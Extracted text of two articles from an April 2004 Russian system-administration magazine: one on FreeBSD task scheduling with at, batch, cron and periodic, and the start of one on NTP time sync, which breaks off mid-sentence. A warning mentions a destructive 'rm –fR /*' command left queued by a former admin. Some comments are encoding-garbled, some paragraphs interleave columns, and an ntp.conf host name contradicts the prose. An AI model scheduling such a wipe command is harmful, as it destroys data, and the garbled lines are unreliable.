Красной Пресне в Москве с 26 по 29 апреля 2004 года.
9
администрирование

РАБОТА ПО РАСПИСАНИЮ
ВО FreeBSD

СЕРГЕЙ СУПРУНОВ
10

Прежде всего рассмотрим утилиту, которая позволяет од-
нократно выполнить ту или иную команду в заданное вре-
мя. Это команда at, простейший синтаксис которой выг-
лядит следующим образом:
# at time
Здесь time – время, когда задача должна быть выпол-
нена. Перечень команд, составляющих задачу, считыва-
ется со стандартного ввода (как правило, это ввод с кла-
виатуры, завершаемый символом Ctrl-D). Например:
# at 11:00pm
who
last –s –20
df
^D
Этот ввод приведет к тому, что в 23:00 (сегодня, если
дело происходит утром, и завтра, если после обеда) пос-
ледовательно будут выполнены команды who, last и df, и
их вывод будет отправлен на электронный адрес пользо-
вателя.
Команда предоставляет пользователю большую сво-
боду в выборе формата времени:
Òàáëèöà 1
Таким образом, существует возможность задать вре-
мя как относительно момента подачи команды at, так и
абсолютно. В последнем случае оно может быть дополне-
но указанием конкретной даты, форматы записи которой
не менее разнообразны.
Так, дата «12 февраля 2005 года» может быть записа-
на одним из следующих способов: 12.02.2005, 12.02.05,
12/02/2005, 12/02/05, Feb 12 2005… Также вместо конк-
ретной даты можно использовать ключевое слово
tomorrow, указывающее, что задание должно быть испол-
нено в указанное время завтра. При необходимости ука-
зать, что задание должно быть выполнено именно сегод-
ня, можно использовать дополнение today. Естественно,
при попытке задать уже прошедшее время вы получите
соответствующее сообщение об ошибке.
Кроме того, время может быть задано в формате
POSIX, для чего следует использовать ключ –t:
# at –t [[CC]YY]MMDDhhmm[.SS]
// êîìàíäà âûïîëíèòñÿ 1 äåêàáðÿ ýòîãî ãîäà â 15:30
# at –t 12011530
По умолчанию команду at может выполнять только су-
перпользователь root. Чтобы дать такое право другим
пользователям, их следует перечислить в файле /var/at/
№4(17), апрель 2004
администрирование
at.allow. Если файл at.allow в этой директории отсутству-
ет, но есть файл at.deny, то команду at смогут запускать
все пользователи, кроме перечисленных в at.deny. Обра-
тите внимание, что имена пользователей в этих файлах
должны начинаться строго с первой позиции и обязатель-
но завершаться символом перевода строки даже для пос-
ледней строчки.
Из дополнительных опций команды at перечислим сле-
дующие:
! -f file – задает имя файла, содержимое которого будет
воспринято как задание. Если опция не указана, зада-
ния считываются со стандартного ввода (до символа
Ctrl-D). Например:
# at –f myjobs +2 minutes
В результате через 2 минуты будет выполнена после-
довательность команд, перечисленных в файле
myjobs. Команды в этом файле задаются по одной на
каждой строке (так же, как и при вводе с клавиату-
ры). Результат также будет направлен по электрон-
ной почте.
! -m – заставляет отсылать письмо о выполнении зада-
ния пользователю (без этой опции письмо отсылается
только в том случае, если результат выполнения зада-
ния отправляется на стандартный вывод).
! -q queue – позволяет поместить задание в указанную
очередь, которая может быть задана одной буквой ла-
тинского алфавита (a-z, A-Z). По умолчанию задание
помещается в очередь «c» для at и в «E» для batch (см.
далее). Помимо удобства работы с большим числом
отложенных заданий, различные очереди позволяют
управлять приоритетом (nice) их выполнения – чем
дальше буква, соответствующая очереди, находится
от начала алфавита, тем большее значение nice, то есть
меньший приоритет, получат задачи, стоящие в этой
очереди. Очереди, обозначенные буквами верхнего
регистра, будут отрабатываться только в том случае,
если загрузка системы позволяет это сделать (см. да-
лее описание ключа –b (batch)), и после того, как бу-
дут запущены задания из очередей, обозначенных
строчными буквами.
! -l [-q queue] – выводит список заданий, находящихся в
очереди. Можно использовать также псевдоним atq,
выполняющий те же функции. Если команду atq вы-
полняет суперпользователь, то выводятся все задания,
находящиеся в очереди. Иначе – только задания, при-
надлежащие текущему пользователю.
! -r job – удаляет указанное задание из очереди. Эта ко-
манда также может быть вызвана с использованием
псевдонима: atrm.
! -b – выполняет задание, если средняя загрузка систе-
мы (посмотреть ее можно с помощью команды w или
top, параметр load average) не превышает указанное
значение (по умолчанию 1.5; как его изменить – смот-
рите далее в описании команды atrun). Batch – псевдо-
ним для вызова at с данным ключом:
# batch –f myjobs +2 minutes
11
 администрирование
Команда аналогична примеру, приведенному выше для
опции -f, но задание будет выполнено, когда средняя
загрузка системы (load average) будет ниже 1.5. Так,
если это условие будет истинно через 2 минуты, то
задание выполнится в указанное время. Иначе оно
будет откладываться, пока загрузка не снизится до
требуемого значения.
С остальными параметрами можно ознакомиться на
страницах справочного руководства «man at».
Для чего может понадобиться отложенное выполнение
команд? Например, можно поставить на ночь (когда на-
грузка меньше, а трафик дешевле) закачку большого
файла:
# echo ‘fetch ftp://ftp.ru/pub/bigfile.avi’ | at 0200
Здесь мы просто направляем на стандартный ввод
программы at строку «fetch ftp://ftp.ru/pub/bigfile.avi»; дан-
ная команда будет запущена в 2:00.
Далее, пусть с 1 января вступают в силу новые тари-
фы на услуги, оказываемые вашей компанией, и вы хоти-
те, чтобы информация о них на вашем сайте всегда была
актуальна (пусть она находится в файле /usr/local/www/
data/tariffs.html). Чтобы не встречать Новый год наедине с
сервером, создайте файл tariffs.html с новой информаци-
ей и разместите его, скажем, в /home/myhome/temp. Те-
перь задача обновления ровно в полночь будет решаться
так:
# at midnight Jan 01
cp /home/myhome/temp/tariffs.html /usr/local/www/data/
^D
Можно запустить сборку системы из исходных текстов,
когда нагрузка на систему будет меньше 1.5 (процесс этот
ресурсоемкий, но не срочный):
# batch
cd /usr/src
// ìû æå íå õîòèì ïîëó÷èòü âñå ýòî ïî ïî÷òå?
make buildworld > buildword.log
^D
В предыдущем примере стандартный вывод будет пе-
ренаправлен в log-файл, а сообщения об ошибках посту-
пят на электронный адрес пользователя, запустившего
команду. В общем, полезных примеров можно привести
массу.
Еще небольшой совет – вступая во владение новым
сервером, проверьте, какие команды у него в очереди. А
то вдруг предыдущий администратор, уволенный за не-
умеренное потребление спиртного, оставил вам «сюрп-
риз» в виде «rm –fR /*», запланированный на запуск че-
рез пару месяцев?
Теперь несколько подробнее рассмотрим механизм,
обеспечивающий работу команды at. Когда с ее помощью
формируется отложенное задание, в папке /var/at/jobs со-
здается файл сценария, содержащий переменные окру-
жения (какими они были на момент формирования зада-
ния; при выполнении задания эти переменные будут вос-
становлены) и собственно команды, которые должны быть
12
выполнены. Периодически (по умолчанию – каждые 5
минут) запускается процесс atrun, выполняющий все за-
дания, срок выполнения которых истек. Таким образом,
говоря ранее, что «задание будет выполнено через 2 ми-
нуты», я был не совсем точен. На самом деле задания вы-
полняются с точностью в 5 минут (как это можно изме-
нить – читайте ниже). Процесс atrun может быть выпол-
нен с двумя ключами:
# atrun [-l average] [-d]
Ключ –l задает максимальное значение средней заг-
рузки системы, при котором могут быть выполнены за-
дания, сформированные командой at –b (batch). Нужно
заметить, что если в очереди имеется несколько batch-
заданий, то при снижении загрузки до допустимого уров-
ня будет запущено только одно (имеющее более раннее
время исполнения). Последующие будут запускаться на
выполнение также по одному при каждом следующем вы-
зове atrun, если средняя загрузка системы все еще бу-
дет позволять сделать это. По умолчанию значение
average равно 1.5. Ключ –d включает режим отладки (все
сообщения об ошибках поступают на стандартный вы-
вод, а не в системные файлы протоколов через меха-
низм syslog).
После выполнения задания с соответствующего фай-
ла сценария снимается признак исполнимости (x), а при
следующем вызове процесса atrun он удаляется из /var/
at/jobs. Просмотреть выполненные, но еще не удаленные
задания с указанием времени, когда они были выполне-
ны, позволяет команда atq –v (для at с ключом –l ключ –v
игнорируется).
Периодический запуск процесса atrun обеспечивается
другим механизмом UNIX-систем – cron. О нем и пойдет
речь далее.
Демон cron запускается автоматически при старте си-
стемы (конкретно – сценарием /etc/rc.d/cron) и каждую
минуту проверяет файлы расписаний пользователей и
системный файл расписаний /etc/crontab на предмет на-
личия заданий, которые должны быть выполнены в дан-
ную минуту.
По умолчанию каждый пользователь может иметь свой
файл расписаний. Изменить это можно с помощью фай-
лов /var/cron/allow и /var/cron/deny (так же, как и для ко-
манды at: если файл allow существует, то использование
cron будет разрешено только пользователям, перечислен-
ным в нем). Файлы расписаний располагаются в /var/cron/
tabs с именами, соответствующими имени пользователя.
Для управления ими следует использовать утилиту crontab,
синтаксис которой представлен ниже:
crontab [-u user] (-l | -r | -e)
Опция –u позволяет работать с файлом расписаний
указанного пользователя user, а не текущего, как это про-
исходит без данной опции. Если вы работаете через su,
лучше всегда использовать этот ключ, чтобы избежать
разночтений. Ключ –l позволяет вывести на экран пользо-
вательский файл расписаний, -r – удалить его, -e – редак-

тировать. Для редактирования вызывается редактор, ука-
занный в переменной окружения EDITOR или VISUAL.
Формат строки задания в пользовательском файле сле-
дующий:
Min Hour Day Month WDay Command
То есть через пробельные символы (пробелы и симво-
лы табуляции) указываются минута, час, день, месяц, день
недели, когда должна быть выполнена команда, указан-
ная в шестом поле. Допускаются перечисления (через
запятую: 1,3,5), интервалы (через дефис: 1-5), шаг (после
символа «/»: 1-9/2 означает «1,3,5,7,9», то есть каждое
второе значение из указанного диапазона). Звездочка «*»
означает все допустимые значения. Для месяца и дня не-
дели можно использовать их сокращенные английские
названия (первые три буквы), например: Feb, JUN, tue, Fri
(регистр значения не имеет). Диапазоны и перечисления
для имен недопустимы, то есть по имени можно обозна-
чить только один месяц или день недели. Для числового
обозначения дней недели допустимыми являются числа
0–7, где как 0, так и 7 обозначают воскресенье. Несколь-
ко примеров:
# Çàïóñêàòü ïðîãðàììó êàæäûé âòîðíèê â 12:00
0 12 * * 2 /usr/home/admin/checkmail
# Âûïîëíÿòü çàäàíèå ÷åðåç äåíü â ÿíâàðå, ìàðòå è ñ ñåíòÿáðÿ
# ïî äåêàáðü
0 0 */2 1,3,9-12 * /usr/local/test/test
# Çàïóñêàòü ñêðèïò 1-ãî è 15-ãî ÷èñëà êàæäîãî ìåñÿöà â 2:05,
# à òàêæå ïî âîñêðåñåíüÿì (Day è WDay ðàáîòàþò â ðåæèìå «ÈËÈ»)
5 2 1,15 * Sun /home/script
Демон cron при каждой активизации проверяет дату
изменения файла /etc/crontab и директории /var/cron/tabs.
Если они изменились, то он перечитывает все изменения
и учитывает их при последующих вызовах. Поскольку ути-
лита crontab после редактирования файла заданий меня-
ет дату изменения для папки /var/cron/tabs, то после того,
как в пользовательский файл расписаний будут внесены
изменения, нет нужды в перезапуске процесса cron – эти
изменения будут учтены при следующей активизации.
Именно по этой причине для редактирования пользова-
тельских файлов расписаний следует использовать коман-
ду crontab –e, а не редактировать файлы непосредствен-
но. Для файла /etc/crontab дата изменения проверяется
отдельно, поэтому его можно изменять обычным редак-
тором (естественно, для этого нужны права root).
Формат файла crontab также допускает вместо первых
пяти позиций, означающих время выполнения задания,
использовать предопределенные значения:
! @reboot (выполнять при загрузке операционной сис-
темы);
! @yearly (выполнять ежегодно в полночь 1 января);
! @monthly (выполнять ежемесячно в полночь 1 числа);
! @weekly (выполнять в полночь каждый понедельник);
! @daily (выполнять ежедневно в 0:00);
! @hourly (выполнять в начале каждого часа).
Например:
№4(17), апрель 2004
администрирование
# Âûïîëíÿòü 1-ãî ÷èñëà êàæäîãî ìåñÿöà â 0:00
@monthly /usr/local/billing/close_month.pl
Помимо собственно заданий, файл crontab может со-
держать строки, задающие системные переменные, с ко-
торыми задания будут отрабатываться. Так, можно задать
оболочку, в которой будут исполняться сценарии (пере-
менная SHELL, по умолчанию это sh), переменную PATH.
Если нужно, чтобы выводимая выполняемыми команда-
ми информация пересылалась на почтовый ящик не вла-
дельца файла расписаний (как это происходит по умол-
чанию), а на другого пользователя, для этого можно ис-
пользовать переменную MAILTO. Пустое значение
(MAILTO=») приведет к тому, что сообщения будут пере-
направляться в /dev/null.
Формат системного файла /etc/crontab несколько от-
личается от пользовательского: на шестой позиции ука-
зывается имя пользователя, с правами которого должна
запускаться команда (и опционально – группа, отделен-
ная от имени пользователя двоеточием, например,
«root:wheel»), а сама команда отодвигается на седьмую.
Например, вызов atrun задан в этом файле такой строкой:
*/5 * * * * root /usr/libexec/atrun
Из этой записи видно, что процесс atrun, обеспечива-
ющий отработку заданий, сформированных командой at,
будет запускаться каждые 5 минут. При необходимости
повысить точность отработки заданий по at, следует со-
ответствующим образом изменить приведенную выше
строку.
С использованием механизма cron выполняется и та-
кая важная задача, как ротация log-файлов (см. строку,
отвечающую за запуск newsyslog). По умолчанию процесс
newsyslog запускается каждый час и проводит ротацию
(архивирование и перезапись) log-файлов в соответствии
с настройками в /etc/newsyslog.conf. На загруженных сис-
темах с подробным протоколированием ротация может
понадобиться чаще, чем раз в час, для чего следует из-
менить соответствующую строку в /etc/crontab.
С механизмом cron связана еще одна полезная вещь –
автоматическое обслуживание системы, обеспечиваемое
с помощью periodic-сценариев. В системном crontab мож-
но заметить следующие три строки:
1 3 * * * root periodic daily
15 4 * * 6 root periodic weekly
30 5 1 * * root periodic monthly
Утилита periodic исполняет все сценарии, расположен-
ные в папке, соответствующей параметру, переданному
ей при вызове. Эта папка ищется в каталоге /etc/periodic.
Например, запуск periodic daily приведет к выполнению
всех скриптов, расположенных в /etc/periodic/daily. Также
существует возможность создавать свои периоды обслу-
живания, для чего должна быть создана новая директо-
рия в /etc/periodic, в которую помещаются необходимые
скрипты, и добавлена соответствующая строка запуска в
crontab. Настроить обслуживание системы под собствен-
ные нужды можно в файле /etc/periodic.conf (по умолча-
нию отсутствует). Настройки по умолчанию заданы в /etc/
13
 администрирование
defaults/periodic.conf. Как видно, эти сценарии выполняют
очистку временных файлов, резервное копирование жиз-
ненно важной информации, формируют отчеты о состоя-
нии системы и т. д. Основная работа приходится на ежед-
невное обслуживание (daily). Можно заметить, что в пап-
ке /etc/periodic присутствует поддиректория security, хотя
в crontab вызова для нее нет. Если поискать вниматель-
но, то команду вызова «periodic security» можно найти в
файле /etc/periodic/daily/450.status.security, то есть сбор
сведений о состоянии безопасности выполняется в ходе
ежедневного обслуживания, но для удобства вынесен в
отдельную поддиректорию, и по этой же причине отчет
высылается отдельным письмом.
Поскольку порядок исполнения сценариев определя-
ется в результате сортировки их имен, для формирова-
ния нужной последовательности исполнения служит трех-
значное число, предваряющее имя почти каждого файла.
В директориях daily, weekly и monthly можно заметить
сценарии 999.local. Они позволяют запускать так называ-
емые локальные periodic-сценарии, которые перечисля-
ются в файлах /etc/daily.local, /etc/weekly.local и /etc/
monthly.local соответственно. Использование локальных
сценариев для собственных нужд более предпочтитель-
но, чем добавление скриптов в /etc/periodic, поскольку
позволяет четко разделить системные и пользовательс-
кие сценарии и тем самым упростить сопровождение и
обновление системы.
Как и для остальных команд, выполняемых по cron,
весь стандартный вывод будет перенаправлен на элект-
ронный адрес пользователя – владельца таблицы crontab
или указанного в переменной MAILTO.
Придумывать полезные примеры для cron труда не
составляет. Приведу два первых, пришедших в голову.
Предположим, нам нужно контролировать состояние сети.
Для этого достаточно занести в ваш пользовательский
файл расписаний (системный файл лучше использовать
исключительно по системному назначению) строку:
0 * * * * /sbin/ping –ñ10 my.provider.ru | ↵
/usr/bin/grep ‘avg’ >> /var/log/ping.log
Как это будет работать? В начале каждого часа будет
14
выполняться команда ping, посылающая десять пакетов
на адрес вашего провайдера. Из возвращаемой инфор-
мации будет выбрана последняя строка с результатами,
которая будет записана в файл ping.log для последующе-
го анализа таких величин, как среднее время передачи
пакета, величина девиации и т. д. Причем в файл будут
заноситься только результаты успешного пинга, а все
ошибки (типа «Host is down») будут отправляться по элек-
тронной почте владельцу файла расписаний.
Следующая строка позволит вам автоматически кор-
ректировать ваши (точнее, системные) часы с использо-
ванием сервера точного времени:
12 4 * * * /usr/sbin/ntpdate ntp.alaska.edu
Естественно, вы можете использовать для получения
информации о точном времени тот сервер, который Вам
больше нравится (список серверов можно получить, если
на любом поисковике подать запрос «Public ntp server»).
Еще несколько слов о путях к вызываемым програм-
мам. Для сервиса at переменная PATH и каталог, в кото-
ром задание будет выполняться, соответствуют тем зна-
чениям, которые были на момент формирования задания.
То есть если я запускаю at, находясь в директории /etc, то
и задание будет выполняться так, как будто оно было за-
пущено из этой же директории, и соответственно все от-
носительные пути, имеющиеся в запускаемом сценарии,
будут разрешаться относительно этого каталога. Cron ве-
дет себя несколько иначе – он запускает задания из до-
машнего каталога пользователя, а в качестве перемен-
ной PATH использует то значение, которое задано в фай-
ле расписаний (см. crontab –l) в переменной PATH. По умол-
чанию PATH=/usr/bin:/bin. Проверить это достаточно про-
сто – сформируйте задание с командами pwd и echo
$PATH, и Вы получите письмо со значениями этих пара-
метров на момент выполнения задания.
На этом знакомство со службами выполнения заданий
по расписанию можно завершить. Как обычно, дополни-
тельную информацию можно получить на страницах спра-
вочного руководства man: at(1), atrun(8), cron(8), crontab(1),
crontab(5), periodic(8), periodic.conf(5).
 администрирование

NTP – АТОМНЫЕ ЧАСЫ

НА КАЖДОМ СТОЛЕ

Каждый из нас, работая за компьютером, иногда смотрит на часы. При этом кто-то поглядывает
на стену, кто-то на руку, а кто-то бросает беглый взгляд в угол экрана монитора. Конечно, часы
могут быть разными, главное – чтобы они шли точно. И если для обычных часов их точность
во многом определяется фирмой-производителем, то практически для любых «компьютерных»
высокая точность может быть достигнута благодаря синхронизации времени, например,
с помощью протокола NTP (Network Time Protocol), об использовании которого и пойдет речь
в данной статье.
МИХАИЛ ПЛАТОВ
Зачем нужно точное время? аутентификации Kerberos. Так, для его работы необходи-
А кому вообще нужно это точное время? Конечно, оно мо, чтобы на компьютерах, доступ к которым осуществ-
нужно нам, пользователям, для того, чтобы мы меньше ляется с использованием этого протокола, системное вре-
опаздывали. Представим себе современный аэропорт – мя различалось не более чем на 5 минут. Кроме того, точ-
для его работы сотни пилотов и диспетчеров должны ное время на всех компьютерах значительно облегчает
пользоваться безошибочно идущими часами. Система ре- анализ журналов безопасности при расследовании инци-
гистрации товаров на складах, больничные учреждения, дентов в локальной сети.
кассы по продаже железнодорожных билетов и многие
другие учреждения требуют, чтобы время на всех объек- Протокол NTP
тах системы в той или иной степени было одинаково. Тем NTP (Network Time Protocol) – это протокол, предназна-
более компьютеры. На них работает масса служб и про- ченный для синхронизации времени в сети. Он представ-
грамм, для нормальной работы которых необходимо точ- ляет собой набор достаточно сложных алгоритмов, при-
ное время, причем, как правило, более точное, чем это званных обеспечить высокую точность (до нескольких мик-
обычно нужно нам, людям. Системные службы, компонен- росекунд) и отказоустойчивость системы синхронизации
ты системы безопасности, да и просто прикладные про- времени. Так, протокол предполагает одновременную син-
граммы могут быть очень критичны к точности часов. Наи- хронизацию с несколькими серверами.
более ярким примером таких служб является протокол Существует несколько версий этого протокола, имею-

16

щих некоторые отличия. Третья версия этого протокола в
1992 году была стандартизирована как RFC 1305. Четвер-
тая (последняя на данный момент) версия привносит не-
которые улучшения (автоматическая конфигурация и
аутентификация, улучшение алгоритмов синхронизации)
по сравнению с третьей, однако она еще не стандартизо-
вана в RFC.
Кроме того, помимо протокола NTP, существует про-
токол SNTP (Simple Network Time Protocol). На уровне па-
кетов эти два протокола полностью совместимы. Основ-
ным отличием между ними является то, что SNTP не име-
ет сложных систем фильтрации и многоступенчатой кор-
ректировки ошибок, имеющихся в NTP. Таким образом,
SNTP является упрощенной и более легкой в реализации
версией NTP. Он предназначен для использования в тех
сетях, где не требуется очень высокая точность времени, и
в реализации от корпорации Microsoft обеспечивает точ-
ность в пределах 20 секунд в рамках предприятия и не бо-
лее 2 секунд в пределах одного сайта. Протокол SNTP стан-
дартизован как RFC 1769 (версия 3) и RFC 2030 (версия 4).
Модель синхронизации NTP предполагает иерархи-
ческую структуру. На первом уровне иерархии распола-
гаются так называемые «первичные» серверы времени
(First stratum). Они находятся в разных местах по всему
миру и располагают самым точным временем. Таких сер-
веров относительно немного, так как точное время на
них поддерживается с помощью дорогостоящего специ-
ализированного оборудования (радиоканал, спутниковый
канал). Серверы второго уровня (Second stratum) синх-
ронизируются с серверами первого уровня, используя
протокол NTP. Их уже значительно больше, однако они
уже несколько рассинхронизированы (от 1 до 20 милли-
секунд) относительно «первичных» серверов. Далее мо-
гут идти серверы третьего, четвертого и последующих
уровней:
С переходом на каждый уровень немного возрастает
погрешность относительно первичного сервера, но зато
увеличивается общее число серверов и, следовательно,
уменьшается их загрузка. Поэтому в качестве внешнего
источника синхронизации вместо использования первич-
ных серверов, обладающих наиболее точным временем,
рекомендуется использовать вторичные серверы как ме-
нее загруженные.
№4(17), апрель 2004
администрирование
NTP и Windows
Для синхронизации времени в ОС Windows 2000/XP/2003
используется протокол SNTP. Поддержка этого протоко-
ла реализована в виде системной службы Windows Time,
входящей в состав операционной системы MS Windows
2000/XP/2003. Отличительной особенностью этой реали-
зации является то, что служба Windows Time поддержи-
вает доменную аутентификацию при обращении к эталон-
ному серверу времени, что является немаловажным с точ-
ки зрения безопасности.
Существует несколько вариантов работы службы
SNTP, входящей в Windows:
! Иерархическая (NT5DS). Используется по умолчанию
для всех компьютеров, объединенных в домен. Синх-
ронизация времени на рабочих станциях и серверах
домена производится по иерархии. Таким образом, ра-
бочие станции и рядовые серверы синхронизируются
с контроллером домена, аутентифицировавшим вход,
контроллеры домена – с хозяином операции «эмуля-
тор PDC», который в свою очередь синхронизируется
с контроллером домена, стоящим на более высоком
уровне иерархии. Следует заметить, что данный поря-
док синхронизации используется «по умолчанию» и
может быть переопределен вручную или с использо-
ванием групповых политик. О том, как это сделать,
будет рассказано ниже.
! Принудительная синхронизация с выбранным NTP-сер-
вером (NTP). В данном случае источник эталонного
времени для службы Windows Time устанавливается
либо вручную, либо с помощью групповых политик.
! Отключение синхронизации (NoSync). Этот режим не-
обходим для смешанной схемы поддержания времени,
в которой для синхронизации с внешним источником ис-
пользуется продукт третьей фирмы, а для поддержания
времени в рамках домена используется Windows Time.
Таким образом, в случае рабочей группы синхрониза-
цию времени всё равно придется настраивать вручную.
Например, один из компьютеров можно настроить на син-
хронизацию с внешним сервером по протоколу SNTP, а
остальные – на синхронизацию с ним. Необходимые для
этого действия будут описаны ниже.
Для домена рекомендуется использовать иерархичес-
кую синхронизацию по протоколу SNTP. В большинстве
случаев она обеспечивает приемлемую точность систем-
ного времени в рамках леса домена. Кроме того, она авто-
матически обеспечивает безопасность обновления време-
ни, благодаря поддержке аутентификации с Active Directory.
Для поддержки «правильного» времени в домене необхо-
димо синхронизировать контроллер домена верхнего уров-
ня, владеющий ролью «эмулятор PDC», с внешним NTP-
сервером. В нашем примере в роли такого сервера будет
выступать Linux-машина с работающим демоном ntpd.
Настройка SNTP в Windows
Для настройки службы Windows Time используются две
утилиты:
! Net time
! W32tm
17
 администрирование
Net time используется главным образом для конфигу-
рирования службы времени, а w32tm – для мониторинга и
диагностики работы. Однако в Windows XP/2003 утилита
w32tm претерпела существенные изменения и может быть
использована для конфигурации службы времени. На-
стройка NTP далее будет проводиться на примере Windows
XP/2003.
Итак, для того чтобы «вручную» указать источник син-
хронизации с помощью net time, достаточно написать в
командной строке:
net time /setsntp:ñïèñîê_ñåðâåðîâ_âðåìåíè_÷åðåç_ïðîáåë
Для получения информации о текущем сервере вре-
мени:
net time /querysntp
Узнать время на контроллере домена можно так:
net time /domain:èìÿ_äîìåíà
А синхронизировать время с контроллером домена вот
так:
net time /domain:èìÿ_äîìåíà /set
Системной утилитой w32tm можно сделать все то же
самое и даже больше:
! w32tm /resync – при помощи этой команды можно зас-
тавить локальный или удаленный компьютер синхро-
низировать показания своих системных часов с исполь-
зуемым им сервером времени.
! w32tm /config – эта команда используется для конфи-
гурирования службы Windows Time. С ее помощью
можно задать список используемых серверов време-
ни и тип синхронизации (иерархическая или выбран-
ная серверами).
Например, для того чтобы переопределить значения
по умолчанию и настроить синхронизацию времени с вне-
шним источником, можно воспользоваться командой:
w32tm /config /syncfromflags:manual /manualpeerlist:PeerList
А для того чтобы Windows Time применила новые на-
стройки, вместо перезапуска службы можно использовать
команду:
w32tm /config /update
Кроме того, в w32tm доступны следующие параметры,
связанные с мониторингом времени на компьютерах:
! w32tm /monitor – при помощи этой опции можно узнать,
насколько системное время данного компьютера от-
личается от времени на контроллере домена или дру-
гих компьютерах.
! w32tm /stripchart – графически показывает разницу во
времени между текущим и удаленным компьютером.
18
! w32tm /register – регистрирует службу Windows Time в
качестве службы на данном компьютере. Эта опция мо-
жет быть полезна на компьютерах, не входящих в до-
мен, так как по умолчанию на них служба времени ос-
тановлена.
Более подробные сведения о параметрах утилит net
time и w32tm можно получить, используя ключ /? или от-
крыв соответствующий раздел справочной системы «Help
and Support Center» MS Windows XP/2003.
Нетрудно догадаться, что настройки службы Windows
Time хранятся в реестре Windows в разделе HKEY_LOCAL_
MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\.
В корне раздела определяются параметры работы самой
службы, в подключе Config – настройки, связанные с рабо-
той самого протокола SNTP, режим синхронизации опреде-
ляется в подключе Parameters. Настройки SNTP клиента и
сервера находятся в подключах TimeProviders\NtpClient и
TimeProviders\NtpServer соответственно. Рассмотрим ос-
новные значения, определяющие настройку NTP клиен-
та и сервера:
! Type – определяет режим работы NTP-клиента (NTDS5 –
иерархическая, NTP – «вручную», NoSync – не синхрони-
зировать, AllSync – доступны все типы синхронизации);
! Enabled – определяет, включен ли данный компонент
(клиент или сервер);
! CrossSiteSyncFlags – определяет, можно ли синхрони-
зировать время с источником, находящимся за преде-
лами домена, в случае если используется иерархичес-
кая синхронизация (0 – нельзя, 1 – только с эмулято-
ром PDC, 2 – со всеми);
! EventLogFlags – определяет, будут ли сообщения от
Windows Time заноситься в журнал или нет (очень по-
лезная функция при отладке работы).
Объяснение значений, определяемых в ключе реест-
ра для службы Windows Time можно найти на сайте
Microsoft по адресу: http://www.microsoft.com/technet/
treeview/default.asp?url=/technet/prodtechnol/winxppro/
maintain/xpmanaged/27_xpwts.asp.
Документация по протоколу NTP расположена на сай-
те: http://www.ntp.org.
Другой вариант настройки службы времени Windows
Time – использование групповых политик. Настройки оп-
ределяются в объекте групповой политики по следую-
щему адресу: Computer Configuration → Administrative
Templates → System → Windows Time Service
Если у вас установлен Windows 2000 Server и такой на-
стройки вы не нашли – не отчаивайтесь, вам просто нужно
обновить «Административные шаблоны». Для этого скопи-
руйте из системной папки system32\GroupPolicy\Adm любой
машины с установленной Windows XP все .adm-файлы на
сервер, являющийся контроллером домена. Далее, опре-
деляя объект групповой политики, нажмите правой кноп-
кой на «Administrative templates» и выберите «Add/Remove
templates…» Удалите перечисленные там шаблоны и до-
бавьте скопированные. После нажатия кнопки «OK» шаб-
лоны будут обновлены, и вы сможете сконфигурировать
службу времени, используя групповые политики:

Нетрудно заметить, что здесь главным образом пере-
числены все те настройки, которые можно изменять в ре-
естре. Ничего удивительного в этом нет, ведь именно так
и работает большинство групповых политик.
В ОС Windows XP появился еще один способ задания
сервера времени, который может быть очень удобен для
настройки синхронизации на домашнем компьютере или
компьютере, входящем в рабочую группу:
NTP-сервер под Linux – внешняя
синхронизация для Windows-домена
Как было сказано выше, протокол NTP более устойчив к
ошибкам, поэтому в качестве источника эталонного вре-
№4(17), апрель 2004
администрирование
мени для внешней синхронизации лучше использовать
NTP-сервер. К тому же не всегда у контроллера домена
верхнего уровня есть доступ к Интернету по порту UDP 123,
используемого для работы NTP. Доступ вполне может быть
закрыт по соображениям безопасности, что является
обычной практикой крупных организаций. В таких случа-
ях для решения этой проблемы можно установить в деми-
литаризированной зоне – DMZ – свой сервер времени, на-
строенный на синхронизацию с внешним источником, и
использовать его в качестве эталонного источника вре-
мени для синхронизации контроллера домена верхнего
уровня. В качестве такого компьютера вполне подойдет
любая, не обязательно современная машина с *nix-подоб-
ной ОС, например, Linux, установленной в минимальной
конфигурации, без X-сервера и других потенциально уяз-
вимых вещей.
Существует масса программ для синхронизации вре-
мени для ОС Linux. Наиболее известными являются Xntpd
(NTP версия 3), ntpd (NTP версия 4), Crony и ClockSpeed.
В нашем примере мы будем использовать ntp-сервер ntpd,
входящий в состав Redhat 9, поставляемый в пакете ntp-
4.1.2-0.rc1.2.i386.rpm.
В состав пакета входит несколько программ, предназ-
наченных для работы с NTP.
Вот основные из них:
! Ntpd – демон ntp, поддерживающий точное время в фо-
новом режиме;
! Ntpq – утилита, предназначенная для опроса NTP-сер-
веров, поддерживающих стандартный протокол опро-
са NTP mode 6. С ее помощью можно узнать и изме-
нить текущее состояние сервера, если его настройки
это позволяют;
! Ntptdc – утилита, при помощи которой можно опраши-
вать демон ntpd и получать статистику его работы;
! Ntpdate – программа для установки текущего систем-
ного времени с использованием протокола NTP.
Стандартной возможностью протокола NTP является
возможность проведения аутентификации. При этом мо-
гут использоваться как симметричные алгоритмы (DES),
появившиеся еще во второй версии протокола, так и не-
симметричные алгоритмы, с открытым ключом, являющи-
еся новшеством четвертой версии.
В случае использования симметричной схемы аутен-
тификации клиент и сервер выбирают произвольный иден-
тификатор и один из 65534 ключей, определенных стан-
дартом. При использовании несимметричных алгоритмов,
используется так называемая схема Autokey, отличитель-
ной особенностью которой является отсутствие необхо-
димости предварительно распределять открытые ключи
серверов.
Для настройки аутентификации в ntpd существуют ути-
литы ntp-genkeys, ntpq и ntpdc.
Вся функциональность NTP, связанная с поддержкой
точного времени реализована в демоне ntpd. Его настрой-
ка производится обычным для unix способом – путем ре-
дактирования конфигурационного файла ntp.conf, находя-
щегося в папке /etc.
Зададим следующие опции для работы NTP-сервера.
19
 администрирование
Сначала укажем серверы, с которыми будет произво-
диться синхронизация времени:
server ntp.nasa.gov # A stratum 1 server at nasa.org
server ntp1.demos.net # A stratum 2 server at demos.net
Далее мы ограничим доступ к нашему серверу, так как
мы не хотим, чтобы другие серверы могли сами менять
наше время:
restrict ntp.research.gov mask 255.255.255.255 ↵
nomodify notrap noquery
Здесь маска 255.255.255.255 используется для огра-
ничения доступа к нашему серверу со стороны сервера
ntp.nasa.gov.
Теперь определим список узлов в нашей локальной
сети, которым мы хотим разрешить доступ к нашему NTP-
серверу для получения времени:
restrict 192.168.1.0 mask 255.255.255.0 notrust nomodify notrap
Также нам требуется, чтобы Linux-машина имела пол-
ный доступ к ресурсам своего сервера:
restrict 127.0.0.1
И теперь самое важное: мы должны убедиться в том,
